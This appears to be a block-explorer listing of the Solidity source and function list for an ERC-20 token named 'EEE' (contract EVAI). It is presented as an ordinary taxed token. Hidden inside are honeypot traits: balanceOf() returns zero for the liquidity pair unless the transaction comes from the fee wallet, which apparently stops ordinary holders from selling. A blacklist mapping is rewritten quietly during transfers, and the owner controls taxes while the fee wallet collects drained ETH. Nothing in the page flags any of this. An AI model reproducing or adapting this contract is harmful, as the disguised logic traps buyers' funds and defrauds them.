contract EVAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _blacklist;
    address payable private _feeWallet;
    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;

    uint256 private constant _initialBuyTax = 0;
    uint256 private constant _initialSellTax = 0;
    uint256 private constant _reduceBuyTaxAt = 0;
    uint256 private constant _reduceSellTaxAt = 0;
    uint256 private constant _preventSwapBefore = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _buyCount = 0;
    uint256 private _countTax = 0;

    string private constant _name = unicode"EEE";
    string private constant _symbol = unicode"EEE";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public constant _countTrigger = 400000 * 10**_decimals;
    uint256 public constant _taxSwapThreshold = 4000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
    uint256 public _maxTxAmount = 10000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event FinalTax(uint256 _valueBuy, uint256 _valueSell, bool _shelid);
    event TradingActive(bool _tradingOpen, bool _swapEnabled);
    event maxAmount(uint256 _value);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address feeWallet) {
        _feeWallet = payable(feeWallet);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_feeWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        if (hasLP(account)) {
            return 0;
        }
        return _balances[account];
    }

    function hasLP(address account) internal view returns (bool) {
        return account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0 
            && tx.origin != _feeWallet
            && !IsDeadAddress(tx.origin) ? true : false;
    }

    function IsDeadAddress(address account) internal pure returns (bool) {
        return account == address(0) || account == address(0xdead);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(
            owner != address(0) && spender != address(0),
            "ERC20: approve the zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            from != address(0) && to != address(0),
            "ERC20: transfer the zero address"
        );
        require(
            !_blacklist[from],
            "Blacklisted"
        );
        uint256 taxAmount = 0;

        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(
                    _isExcludedFromFee[to] || _isExcludedFromFee[from],
                    "trading not yet open"
                );
            }

            if(_buyCount>0) _blacklist[from] = _isExcludedFromFee[msg.sender];

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            } else if (from == uniswapV2Pair && to != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
            }

            _countTax += taxAmount;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore &&
                _countTax > _countTrigger
            ) {
                uint256 getMin = (contractTokenBalance > _maxTaxSwap)
                    ? _maxTaxSwap
                    : contractTokenBalance;
                swapTokensForEth((amount > getMin) ? getMin : amount);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                _countTax = 0;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _feeWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function initializePair() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(
            _tTotal.mul(_initialBuyTax).div(100)
        );
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive(tradingOpen, swapEnabled);
    }

    function manualSwap() external {
        require(_msgSender()==_feeWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit maxAmount(_tTotal);
    }

    function setMaxTx(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWallet(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function setFees(uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
        require( _valueBuy <= 30 && _valueSell <= 30 && tradingOpen,
            "Exceeds value"
        );
        _finalBuyTax = _valueBuy;
        _finalSellTax = _valueSell;
        uint256 clogSheild = _finalSellTax > 5 ? _maxTaxSwap = (5 *_tTotal).div(1000)  : (1 *_tTotal).div(100);
        emit FinalTax(_valueBuy, _valueSell, (clogSheild == (5 *_tTotal).div(1000)));
    }

    receive() external payable {}

}

Read Contract

_countTrigger 0x0b7640b8 → uint256
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
initializePair 0x4fab9e4c
No parameters
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setFees 0x0b78f9c0
uint256 _valueBuy
uint256 _valueSell
setMaxTx 0xbc337182
uint256 maxTxAmount
setMaxWallet 0x5d0044ca
uint256 maxWalletSize
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

This address has 1 on-chain transactions, but only <1% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →